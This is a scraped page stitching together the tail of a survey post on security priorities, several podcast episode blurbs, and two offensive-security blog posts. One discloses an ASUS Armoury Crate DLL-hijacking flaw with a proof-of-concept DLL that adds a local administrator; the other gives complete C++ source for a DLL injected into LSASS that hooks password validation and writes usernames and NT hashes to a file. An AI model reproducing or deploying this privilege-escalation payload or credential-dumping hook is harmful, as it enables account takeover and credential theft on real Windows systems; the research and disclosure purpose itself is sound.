I had to make some choices as to what would be grouped together. I decided EDR and AV solutions could be considered as a similar recommendations, while I decided that “Updates” and “Vulnerability management” were going to remain separate. A number of answers were grouped into “Network isolation” which also explains some of the results I’ll give below.
After categorizing each one of the recommendations, I then attributed a weight from 1 to 10 to each of them depending on the priority given by the person.
Results
Without any further ado, here are the most frequently recommended actions (with their cumulated weight) out of the 33 colleagues who responded to my survey:
- Network isolation (173)
- Security patching (107)
- Configurations hardening (100)
- Limit external exposure (97)
- SIEM/SOC (95)
- Awareness training (95)
- Audit (89)
- Multi-factor authentication (87)
- Privileged access management (82)
- Backups (49)
- EDR/AV (45)
- LAPS (41)
- Robust password policy (40)
- DMZ (37)
- WAF (37)
[…] - Contact SCRT (22 points)
If we ignore the weights and just count the number of times each recommendation is given, we obtain the following results.
- Network isolation (25)
- SIEM/SOC (22)
- Audit (22)
- Security patching (20)
- Configurations hardening (20)
- Awareness training (15)
- Privileged access management (14)
- Multi-factor authentication (14)
- Limit external exposure (11)
- EDR/AV (9)
- Robust password policy (8)
- LAPS (7)
- Backups (7)
- Bitlocker (6)
- Physical access (5)
[…] - Contact SCRT (4)
Discussion
The differences are interesting to look at as they mean for example that most people recommended implementing a SIEM/SOC and performing an audit, but these were not considered as priorities.
I think it is important here to stress that when we mention “network isolation”, it goes beyond simple network segmentation. We are not talking about ensuring you have different VLANs for different types of systems, but actively enforcing appropriate firewalls between VLANs and within the same VLAN. It is this active firewalling which can prevent the exploitation of vulnerabilities in the first place and reduce the possibilities of lateral movement. While micro-segmentation and Zero Trust are valuable objectives, in the mean time, properly configuring the current firewalls has to be a priority.
When analysing the responses on a department level, it was interesting to see that our support team tends to recommend contacting SCRT and our analytics team recommends implementing a SIEM/SOC. Our pentesting team does not necessarily recommend performing an audit as a top priority, probably because we already anticipate what the findings are likely to be, which kind of skews the results. For our sales team though, performing an audit received the highest priority.
Wrapping things up
Based on the answers, I drew up a mindmap of actions that could be taken to improve the security of an information system. It contains more details than what is summarised in this blog post and the actions have been grouped by the following objectives:
- Prevent the initial intrusion
- Detect the intrusion
- Limit its propagation
- Protect/preserve sensitive data
- Manage risk
There is already quite a bit of information in here, though there is even more which is still missing, but it does give an overview of the higher priority aspects, which can be worked on to generally improve the security posture of a company.
- Infosec Resources
- Learning Linux is key to building your cybersecurity skills | Guest Jasmine Jackson
Learning Linux is key to building your cybersecurity skills | Guest Jasmine Jackson
On today’s podcast, Jasmine Jackson takes us through how you can get noticed on your resume, how Linux basics can set you up for learning other aspects of cybersecurity, and how capture the flag activities are crucial to enriching your work skills. Jackson has over 10 years of information security experience and shares her passion for cybersecurity by presenting and teaching workshops, including new courses now available in Infosec Skills. She is currently the Jeopardy-style capture the flag (CTF) coach for the inaugural U.S. Cyber Games and works as a senior application security engineer for a Fortune 500 company.
– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast
0:00 - Intro
3:08 - Jasmine Jackson’s origin story
4:25 - Winning a computer
6:22 - Jackson’s career path
13:46 - Thoughts on certifications
19:10 - Ideal job description
21:01 - Most important cybersecurity skills
22:54 - Linux fundamentals class
25:07 - What does knowing Linux do for you?
26:35 - How to build upon a Linux foundation
28:51 - Benefits to skills training
29:50 - Tips for lifelong learning
31:30 - Coaching in the U.S. Cyber Games
34:26 - How are team members chosen for the games?
37:47 - An intriguing CTF puzzle
41:43 - Where is cybersecurity education heading?
43:36 - Learn more about Jackson
46:33 - Outro
About Infosec
Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.
Cryptography, encryption and building a secure photo app | Guest Alex Amiryan
Today's guest is Alex Amiryan, a software developer with over 18 years of experience specializing in cybersecurity and cryptography. Alex is the creator of the popular SafeCamera app, which was the predecessor of Stingle Photos, an end-to-end encrypted, open-source gallery and sync app able to prevent theft by breach. How does it work, and how did Alex come by his obsession for cryptography? Tune in and find out!
– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast
0:00 - Intro
1:41 - Origin story in cybersecurity
3:38 - Running afoul of the law
4:44 - Beginning your own company
7:10 - Advice on starting a business
9:15 - What is Stingle Photos?
12:30 - End-to-end encryption
15:20 - Black box storage
17:47 - Encryption safety
19:01 - Preventing photo theft
22:20 - Working in encryption and cryptography
24:24 - Skills needed for encryption and cryptography
26:43 - An "aha" moment
28:00 - Cryptographer job market
29:45 - Next steps in cryptography
35:52 - Learn more about Stingle Photos
36:28 - Outro
About Infosec
Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.
Saving McDonald’s from a possible data breach | Guest Connor Greig
This week we chat with Connor Greig of CreatorSphere (creatorsphere.co) about beginning a career in IT at age 17 when he joined Hewlett Packard as an applications engineer, but after just a few weeks was promoted to project manager. He went on to work on secure projects for the British government and was a project manager for secure cloud computing and software development modernization during the WannaCry, Spectre and Meltdown vulnerabilities that were found.
– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast
0:00 - Intro
3:00 - Origin story
4:58 - Getting into IT
8:53 - Being scouted by HP at 17
11:34 - What did HP see in you?
15:42 - Working with the British government
17:49 - Being fast on your feet
19:51 - Area of specialty
21:30 - Balancing work and management
25:25 - Saving McDonald's from a data breach
31:58 - McDonald's reaction
38:56 - Starting your own company
45:25 - Advice for starting your own company
49:15 - How to learn new concepts and skills
53:15 - What's it like being a gay man in cybersecurity?
55:30 - Making cybersecurity more welcoming
58:15 - Cybersecurity career advice
1:00:33 - Outro
About Infosec
Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.
🇬🇧 Stealing weapons from the Armoury
TL;DR
ASUS ROG Armoury Crate ships with a service called Armoury Crate Lite Service which suffers from a phantom DLL hijacking vulnerability that allows a low privilege user to execute code in the context other users, administrators included. To trigger the vulnerability, an administrator must log in after the attacker has placed the malicious DLL at the path C:\ProgramData\ASUS\GamingCenterLib\.DLL
. The issue has been fixed with the release of Armoury Crate Lite Service 4.2.10. The vulnerability has been assigned ID CVE-2021-40981.
Introduction
Greetings fellow hackers, last here! Recently I’ve been looking for vulnerabilities here and there - too much free time maybe? Specifically, I focused on hunting for DLL hijackings in privileged processes, as they usually lead to a local privilege escalation. A DLL hijacking revolves around forcing a process to run an attacker controlled DLL instead of the legitimate DLL the process is trying to load, nothing more. To make a process load your DLL you have to control the path from which said DLL is loaded. There are essentially two kinds of DLL hijackings: standard DLL hijackings and phantom DLL hijackings. The main difference is that in standard ones the legitimate DLL exists and is overwritten or proxied by the attacker’s DLL, while in phantom DLL hijackings the process tries to load a non existing DLL, hence the attacker can just drop its malicious DLL in the path and call it a day.
By messing up with Process Monitor I ended up finding a phantom DLL hijacking in ASUS ROG Armoury Crate, a software commonly installed in gaming PCs with a TUF/ROG motherboard to manage LEDs and fans.
Last year I assembled a PC with an ASUS TUF motherboard, so I have this software installed. This kind of software is usually poorly designed from a security perspective - not shaming ASUS here, it’s just a matter of fact as gaming software is usually not designed with security in mind, it has to be flashy and eye-catching - so I ended up focusing my effort on this particular piece of software.
At login time, Armoury Crate’s own service, called Armoury Crate Lite Service, spawns a number of processes, the ones that caught my eyes though were ArmouryCrate.Service.exe
and its child ArmouryCrate.UserSessionHelper.exe
. As you can see in the next screenshot, the first runs as SYSTEM as it’s the process of the service itself, while the second runs at High integrity (i.e. elevated) if the current user is an administrator, or Medium integrity if the user is a low privilege one. Keep this in mind, we will come back to it later.
It’s hunting season
Now that we have laid down our targets, let’s look at how we are going to approach the research. The methodology we will use is the following:
- Look for
CreateFile
operations failing with a “NO SUCH FILE” or “PATH NOT FOUND” code; - Inspect the operation to make sure it happens as a result of a call to a LoadLibrary-like function. CreateFile-like calls in Windows are not used only to create new files, but also to open existing ones;
- Make sure we can write to - or create the - path from which the DLL is loaded;
- Profit!
Hunting for this type of vulnerabilities is actually fairly easy and requires little effort. As I have explained in this Twitter thread, you just have to fire up Process Monitor with admin privileges, set some filters and then investigate the results. Let’s start from the filters: since we are focusing on phantom DLL hijackings, we want to see all the privileged processes failing to load a DLL with an error like “PATH NOT FOUND” or “NO SUCH FILE”. To do so go to the menu bar, Filter->Filter...
and add the following filters:
- Operation - is - CreateFile - Include
- Result - contains - not found - Include
- Result - contains - no such - Include
- Path - ends with - .dll - Include
- Integrity - is - System - Include
- Integrity - is - High - Include
Once you have done that, go back to the menu bar, then Filter->Save Filter...
so that we can load it later. As a lot SYSTEM and High integrity processes run as a result of a service running we now want to log the boot process of the computer and analyze it with Process Monitor. In order to do so head to the menu bar, then Options->Enable Boot Logging
, leave everything as default and restart the computer. After logging back in, open Process Monitor once again, save the Bootlog.pml
file and wait for Process Monitor to parse it. Once it’s finished doing its things, load the filter we prepared previously by clicking on Filter->Load Filter
. Now we should see only potential phantom hijackings.
In Armoury Crate’s case, you can see it tries to load C:\ProgramData\ASUS\GamingCenterLib\.DLL
which is an interesting path because ACLs are not set automatically in subfolders of C:\ProgramData\
, a thing that happens instead for subfolders of C:\Program Files\
. This means there’s a high probability C:\ProgramData\
subfolders will be writable by unprivileged users.
To make sure the CreateFile
operation we are looking at happens as a result of a LoadLibrary-like function we can open the event and navigate to the Stack
tab to check the sequence of function calls which lead to the CreateFile
operation. As you can see from the following screenshot, this is exactly the case as we have a call to LoadLibraryExW
:
To inspect the ACL of the folder from which Armoury Crate tries to load the DLL we can use Powershell’s Get-Acl
cmdlet this way:
Get-Acl 'C:\ProgramData\ASUS\GamingCenterLib' | Select-Object *
This command will return a SDDL string (which is essentially a one-to-one string representation of the graphical ACL we are used to see in Windows), which when parsed with ConvertFrom-SddlString
tells us BUILTIN\Users
have write access to the directory:
A more user friendly way of showing the effective access a user has on a particular resource is to open its properties, navigate to the Security
tab, click on Advanced
, switch to the Effective Access
tab, select a user and then click on View effective access
. The result of this operation is the effective access a user has to said resource, considering also the permissions it inherits from the groups he is part of.
Alright, now that we know we can write to C:\ProgramData\ASUS\GamingCenterLib
we just have to compile a DLL named .DLL
and drop it there. We will go with a simple DLL which will add a new user to the local administrators:
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
system("C:\\Windows\\System32\\cmd.exe /c \"net user aptortellini aptortellini /add\"");
system("C:\\Windows\\System32\\cmd.exe /c \"net localgroup administrators aptortellini /add\"");
return TRUE;
}
Now that we have everything ready we just have to wait for a privileged user to log in. This is needed as the DLL is loaded by ArmouryCrate.UserSessionHelper.exe
which runs with the highest privileges available to the user to which the session belongs. As soon as the privileged user logs in, we have a new admin user, confirming administrator-level code execution.
Root cause analysis
Let’s now have a look at what caused this vulnerability. As you can see from the call stack shown in the screenshot in the beginning of this article, the DLL is loaded from code located inside GameBoxPlugin.dll
, at offset QueryLibrary + 0x167d
which is actually another function I renamed DllLoadLibraryImplement
(by reversing GameBoxPlugin.dll
with IDA Pro you can see most functions in this DLL have some sort of logging feature which references strings containing the possible name of the function). Here’s the code responsible for the call to LoadLibraryExW
:
We have two culprits here:
- A DLL is loaded without any check. ASUS fixed this by implementing a cryptographic check on the DLLs loaded by this process to make sure they are signed by ASUS themselves;
- The ACL of
C:\ProgramData\ASUS\GamingCenterLib\
are not properly set. ASUS has NOT fixed this, which means that, in the case a bypass is found for reason 1, the software would be vulnerable again asArmouryCrate.UserSessionHelper.exe
now looks for DLLs in that folder with a 6-character-long name (by searching them with the wildcard??????.DLL
as you can see with Procmon). If you use Armoury Crate I suggest hand-fixing the ACL ofC:\ProgramData\ASUS\GamingCenterLib\
in order to give access to the whole directory tree only to members of the Administrators group.
Responsible disclosure timeline (YYYY/MM/DD)
- 2021/09/06: vulnerability reported to ASUS via their web portal;
- 2021/09/10: ASUS acknowledges the report and forwards it to their dev branch;
- 2021/09/13: ASUS devs confirm the vulnerability and say it will be fixed in the next release, expected for week 39 of this year (27/09 - 01/10);
- 2021/09/24: ASUS confirms the vulnerability has been fixed in version 4.2.10 of the service;
- 2021/09/27: MITRE assigns CVE-2021-40981 to this vulnerability;
Kudos to ASUS for the quick response and professionalism in dealing with the problem! That’s all for today lads, until next time!
last out!
- Infosec Resources
- Inside the Security Yearbook: Industry trends, career advice and more! | Guest Richard Stiennon
Inside the Security Yearbook: Industry trends, career advice and more! | Guest Richard Stiennon
Security Yearbook creator Richard Stiennon joins today’s podcast to share his career journey. He talks about creating the first ISP in the Midwest in the ‘90s, the role of the Security Yearbook in telling the history of cybersecurity and the best place to start your cybersecurity career. Hint: It’s not necessarily with the big firms!
– Save 50% on your copy of the Security Yearbook with code "infoseclive": https://it-harvest.com/shop
– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast
0:00 - Infosec Skills Monthly Challenge
0:50 - Intro
2:50 - How Richard got started in cybersecurity
7:22 - Penetration testing in the ‘90s
10:17 - Working as a research analyst
14:39 - How the cyberwar landscape is changing
19:33 - Skills needed as a cybersecurity researcher
20:30 - Launching the Security Yearbook
27:20 - Security Yearbook 2021
29:00 - Importance of cybersecurity history
30:48 - How do cybersecurity investors see the industry
34:08 - Impact of COVID-19 and work from home
35:50 - Using the Security Yearbook to guide your career
40:38 - How cybersecurity careers are changing
43:29 - Current pentesting trends
47:06 - First steps to becoming a research analyst
48:20 - Plans for Security Yearbook 2022
50:20 - Learn more about Richard Stiennon
51:09 - Outro
About Infosec
Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.
Diversity, equity and inclusion in cybersecurity hiring | Cyber Work Live
Cybersecurity hiring managers, and the entire cybersecurity industry, can benefit from recruiting across a wide range of backgrounds and cultures, yet many organizations still struggle with meaningfully implementing effective diversity, equity and inclusion (DEI) hiring processes.
Join a panel of past Cyber Work Podcast guests as they discuss these challenges, as well as the benefits of hiring diversely:
– Gene Yoo, CEO of Resecurity, and the expert brought in by Sony to triage the 2014 hack
– Mari Galloway, co-founder of Women’s Society of Cyberjutsu
– Victor “Vic” Malloy, General Manager, CyberTexas
This episode was recorded live on August 19, 2021. Want to join the next Cyber Work Live and get your career questions answered? See upcoming events here: https://www.infosecinstitute.com/events/
– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast
The topics covered include:
0:00 - Intro
1:20 - Meet the panel
3:28 - Diversity statistics in cybersecurity
4:30 - Gene on HR's diversity mindset
5:50 - Vic's experience being the "first"
10:00 - Mari's experience as a woman in cybersecurity
12:22 - Stereotypes for women in cybersecurity
15:40 - Misrepresenting the work of cybersecurity
17:30 - HR gatekeeping and bias
25:56- Protecting neurodivergent employees
31:15 - Hiring bias against ethnic names
37:57 - We didn't get any diverse applicants!
43:20 - Lack of developing new talent
46:48 - The skills gap is "nonsense"
49:41- Cracking the C-suite ceiling
53:56 - Visions for the future of cybersecurity
58:15 - Outro
– Join the Infosec Skills monthly challenge: https://www.infosecinstitute.com/challenge
– Download our developing security teams ebook: https://www.infosecinstitute.com/ebook
About Infosec
Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.
🇬🇧 Taking a detour inside LSASS
TL;DR
This is a repost of an analysis I posted on my Gitbook some time ago. Basically, when you authenticate as ANY local user on Windows, the NT hash of that user is checked against the NT hash of the supplied password by LSASS through the function MsvpPasswordValidate
, exported by NtlmShared.dll. If you hook MsvpPasswordValidate
you can extract this hash without touching the SAM. Of course, to hook this function in LSASS you need admin privilege. Technically it also works for domain users who have logged on the machine at least once, but the resulting hash is not a NT hash, but rather a MSCACHEv2 hash.
Introduction
Last August FuzzySec tweeted something interesting:
Since I had some spare time I decided to look into it and try and write my own local password dumping utility. But first, I had to confirm this information.
Confirming the information
To do so, I fired up a Windows 10 20H2 VM, set it up for kernel debugging and set a breakpoint into lsass.exe at the start of MsvpPasswordValidate (part of the NtlmShared.dll library) through WinDbg. But first you have to find LSASS’ _EPROCESS address using the following command:
!process 0 0 lsass.exe
Once the _EPROCESS
address is found we have to switch WinDbg’s context to the target process (your address will be different):
.process /i /p /r ffff8c05c70bc080
Remember to use the g
command right after the last command to make the switch actually happen. Now that we are in LSASS’ context we can load into the debugger the user mode symbols, since we are in kernel debugging, and then place a breakpoint at NtlmShared!MsvpPasswordValidate
:
.reload /user
bp NtlmShared!MsvpPasswordValidate
We can make sure our breakpoint has been set by using the bl
command:
Before we go on however we need to know what to look for. MsvpPasswordValidate
is an undocumented function, meaning we won’t find it’s definition on MSDN. Looking here and there on the interwebz I managed to find it on multiple websites, so here it is:
BOOLEAN __stdcall MsvpPasswordValidate (
BOOLEAN UasCompatibilityRequired,
NETLOGON_LOGON_INFO_CLASS LogonLevel,
PVOID LogonInformation,
PUSER_INTERNAL1_INFORMATION Passwords,
PULONG UserFlags,
PUSER_SESSION_KEY UserSessionKey,
PLM_SESSION_KEY LmSessionKey
);
What we are looking for is the fourth argument. The “Passwords” argument is of type PUSER_INTERNAL1_INFORMATION
. This is a pointer to a SAMPR_USER_INTERNAL1_INFORMATION
structure, whose first member is the NT hash we are looking for:
typedef struct _SAMPR_USER_INTERNAL1_INFORMATION {
ENCRYPTED_NT_OWF_PASSWORD EncryptedNtOwfPassword;
ENCRYPTED_LM_OWF_PASSWORD EncryptedLmOwfPassword;
unsigned char NtPasswordPresent;
unsigned char LmPasswordPresent;
unsigned char PasswordExpired;
} SAMPR_USER_INTERNAL1_INFORMATION, *PSAMPR_USER_INTERNAL1_INFORMATION;
As MsvpPasswordValidate
uses the stdcall
calling convention, we know the Passwords argument will be stored into the R9 register, hence we can get to the actual structure by dereferencing the content of this register. With this piece of information we type g
once more in our debugger and attempt a login through the runas command:
And right there our VM froze because we hit the breakpoint we previously set:
Now that our CPU is where we want it to be we can check the content of R9:
db @r9
That definetely looks like a hash! We know our test user uses “antani” as password and its NT hash is 1AC1DBF66CA25FD4B5708E873E211F06
, so the extracted value is the correct one.
Writing the DLL
Now that we have verified FuzzySec’s hint we can move on to write our own password dumping utility. We will write a custom DLL which will hook MsvpPasswordValidate
, extract the hash and write it to disk. This DLL will be called HppDLL, since I will integrate it in a tool I already made (and which I will publish sooner or later) called HashPlusPlus (HPP for short). We will be using Microsoft Detours to perform the hooking action, better not to use manual hooking when dealing with critical processes like LSASS, as crashing will inevitably lead to a reboot. I won’t go into details on how to compile Detours and set it up, it’s pretty straightforward and I will include a compiled Detours library into HppDLL’s repository.
The idea here is to have the DLL hijack the execution flow as soon as it reaches MsvpPasswordValidate
, jump to a rogue routine which we will call HookMSVPPValidate
and that will be responsible for extracting the credentials. Done that, HookMSVPPValidate
will return to the legitimate MsvpPasswordValidate
and continue the execution flow transparently for the calling process. Complex? Not so much actually.
Hppdll.h
We start off by writing the header all of the code pieces will include:
#pragma once
#define SECURITY_WIN32
#define WIN32_LEAN_AND_MEAN
// uncomment the following definition to enable debug logging to c:\debug.txt
#define DEBUG_BUILD
#include <windows.h>
#include <SubAuth.h>
#include <iostream>
#include <fstream>
#include <string>
#include "detours.h"
// if this is a debug build declare the PrintDebug() function
// and define the DEBUG macro in order to call it
// else make the DEBUG macro do nothing
#ifdef DEBUG_BUILD
void PrintDebug(std::string input);
#define DEBUG(x) PrintDebug(x)
#else
#define DEBUG(x) do {} while (0)
#endif
// namespace containing RAII types to make sure handles are always closed before detaching our DLL
namespace RAII
{
class Library
{
public:
Library(std::wstring input);
~Library();
HMODULE GetHandle();
private:
HMODULE _libraryHandle;
};
class Handle
{
public:
Handle(HANDLE input);
~Handle();
HANDLE GetHandle();
private:
HANDLE _handle;
};
}
//functions used to install and remove the hook
bool InstallHook();
bool RemoveHook();
// define the pMsvpPasswordValidate type to point to MsvpPasswordValidate
typedef BOOLEAN(WINAPI* pMsvpPasswordValidate)(BOOLEAN, NETLOGON_LOGON_INFO_CLASS, PVOID, void*, PULONG, PUSER_SESSION_KEY, PVOID);
extern pMsvpPasswordValidate MsvpPasswordValidate;
// define our hook function with the same parameters as the hooked function
// this allows us to directly access the hooked function parameters
BOOLEAN HookMSVPPValidate
(
BOOLEAN UasCompatibilityRequired,
NETLOGON_LOGON_INFO_CLASS LogonLevel,
PVOID LogonInformation,
void* Passwords,
PULONG UserFlags,
PUSER_SESSION_KEY UserSessionKey,
PVOID LmSessionKey
);
This header includes various Windows headers that define the various native types used by MsvpPasswordValidate
. You can see I had to slightly modify the MsvpPasswordValidate
function definition since I could not find the headers defining PUSER_INTERNAL1_INFORMATION
, hence we treat it like a normal void pointer. I also define two routines, InstallHook
and RemoveHook
, that will deal with injecting our hook and cleaning it up afterwards. I also declare a RAII
namespace which will hold RAII
classes to make sure handles to libraries and other stuff will be properly closed as soon as they go out of scope (yay C++).
I also define a pMsvpPasswordValidate
type which we will use in conjunction with GetProcAddress
to properly resolve and then call MsvpPasswordValidate
. Since the MsvpPasswordValidate
pointer needs to be global we also extern it.
DllMain.cpp
The DllMain.cpp file holds the definition and declaration of the DllMain
function, responsible for all the actions that will be taken when the DLL is loaded or unloaded:
#include "pch.h"
#include "hppdll.h"
pMsvpPasswordValidate MsvpPasswordValidate = nullptr;
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
return InstallHook();
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
return RemoveHook();
}
return TRUE;
}
Top to bottom, we include pch.h
to enable precompiled headers and speed up compilation, and hppdll.h
to include all the types and functions we defined earlier. We also set to nullptr
the MsvpPasswordValidate
function pointer, which will be filled later by the InstallHook
function with the address of the actual MsvpPasswordValidate
. You can see that InstallHook
gets called when the DLL is loaded and RemoveHook
is called when the DLL is unloaded.
InstallHook.cpp
InstallHook is the function responsible for actually injecting our hook:
#include "pch.h"
#include "hppdll.h"
bool InstallHook()
{
DEBUG("InstallHook called!");
// get a handle on NtlmShared.dll
RAII::Library ntlmShared(L"NtlmShared.dll");
if (ntlmShared.GetHandle() == nullptr)
{
DEBUG("Couldn't get a handle to NtlmShared");
return false;
}
// get MsvpPasswordValidate address
MsvpPasswordValidate = (pMsvpPasswordValidate)::GetProcAddress(ntlmShared.GetHandle(), "MsvpPasswordValidate");
if (MsvpPasswordValidate == nullptr)
{
DEBUG("Couldn't resolve the address of MsvpPasswordValidate");
return false;
}
DetourTransactionBegin();
DetourUpdateThread(::GetCurrentThread());
DetourAttach(&(PVOID&)MsvpPasswordValidate, HookMSVPPValidate);
LONG error = DetourTransactionCommit();
if (error != NO_ERROR)
{
DEBUG("Failed to hook MsvpPasswordValidate");
return false;
}
else
{
DEBUG("Hook installed successfully");
return true;
}
}
It first gets a handle to the NtlmShared DLL at line 9.
At line 17 the address to the beginning of MsvpPasswordValidate
is resolved by using GetProcAddress
, passing to it the handle to NtlmShared and a string containing the name of the function.
At lines from 24 to 27 Detours does its magic and replaces MsvpPasswordValidate
with our rogue HookMSVPPValidate
function. If the hook is installed correctly, InstallHook
returns true.
You may have noticed I use the DEBUG
macro to print debug information. This macro makes use of conditional compilation to write to C:\debug.txt
if the DEBUG_BUILD
macro is defined in hppdll.h
, otherwise it does nothing.
HookMSVPPValidate.cpp
Here comes the most important piece of the DLL, the routine responsible for extracting the credentials from memory.
#include "pch.h"
#include "hppdll.h"
BOOLEAN HookMSVPPValidate(BOOLEAN UasCompatibilityRequired, NETLOGON_LOGON_INFO_CLASS LogonLevel, PVOID LogonInformation, void* Passwords, PULONG UserFlags, PUSER_SESSION_KEY UserSessionKey, PVOID LmSessionKey)
{
DEBUG("Hook called!");
// cast LogonInformation to NETLOGON_LOGON_IDENTITY_INFO pointer
NETLOGON_LOGON_IDENTITY_INFO* logonIdentity = (NETLOGON_LOGON_IDENTITY_INFO*)LogonInformation;
// write to C:\credentials.txt the domain, username and NT hash of the target user
std::wofstream credentialFile;
credentialFile.open("C:\\credentials.txt", std::fstream::in | std::fstream::out | std::fstream::app);
credentialFile << L"Domain: " << logonIdentity->LogonDomainName.Buffer << std::endl;
std::wstring username;
// LogonIdentity->Username.Buffer contains more stuff than the username
// so we only get the username by iterating on it only Length/2 times
// (Length is expressed in bytes, unicode strings take two bytes per character)
for (int i = 0; i < logonIdentity->UserName.Length/2; i++)
{
username += logonIdentity->UserName.Buffer[i];
}
credentialFile << L"Username: " << username << std::endl;
credentialFile << L"NTHash: ";
for (int i = 0; i < 16; i++)
{
unsigned char hashByte = ((unsigned char*)Passwords)[i];
credentialFile << std::hex << hashByte;
}
credentialFile << std::endl;
credentialFile.close();
DEBUG("Hook successfully called!");
return MsvpPasswordValidate(UasCompatibilityRequired, LogonLevel, LogonInformation, Passwords, UserFlags, UserSessionKey, LmSessionKey);
}
We want our output file to contain information on the user (like the username and the machine name) and his NT hash. To do so we first cast the third argument, LogonIdentity
, to be a pointer to a NETLOGON_LOGON_IDENTITY_INFO
structure. From that we extract the logonIdentity->LogonDomainName.Buffer
field, which holds the local domain (hece the machine hostname since it’s a local account). This happens at line 8. At line 13 we write the extracted local domain name to the output file, which is C:\credentials.txt
. As a side note, LogonDomainName
is a UNICODE_STRING
structure, defined like so:
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
From line 19 to 22 we iterate over logonIdentity->Username.Buffer
for logonIdentity->Username.Length/2
times. We have to do this, and not copy-paste directly the content of the buffer like we did with the domain, because this buffer contains the username AND other garbage. The Length
field tells us where the username finishes and the garbage starts. Since the buffer contains unicode data, every character it holds actually occupies 2 bytes, so we need to iterate half the times over it.
From line 25 to 29 we proceed to copy the first 16 bytes held by the Passwords
structure (which contain the actual NT hash as we saw previously) and write them to the output file.
To finish we proceed to call the actual MsvpPasswordValidate
and return its return value at line 34 so that the authentication process can continue unimpeded.
RemoveHook.cpp
The last function we will take a look at is the RemoveHook function.
#include "pch.h"
#include "hppdll.h"
bool RemoveHook()
{
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourDetach(&(PVOID&)MsvpPasswordValidate, HookMSVPPValidate);
auto error = DetourTransactionCommit();
if (error != NO_ERROR)
{
DEBUG("Failed to unhook MsvpPasswordValidate");
return false;
}
else
{
DEBUG("Hook removed!");
return true;
}
}
This function too relies on Detours magic. As you can see lines 6 to 9 are very similar to the ones called by InstallHook
to inject our hook, the only difference is that we make use of the DetourDetach
function instead of the DetourAttach
one.
Test drive!
Alright, now that everything is ready we can proceed to compile the DLL and inject it into LSASS. For rapid prototyping I used Process Hacker for the injection.
It works! This time I tried to authenticate as the user “last”, whose password is, awkwardly, “last”. You can see that even though the wrong password was input for the user, the true password hash has been written to C:\credentials
.
That’s all folks, it was a nice ride. You can find the complete code for HppDLL on my GitHub.
last out!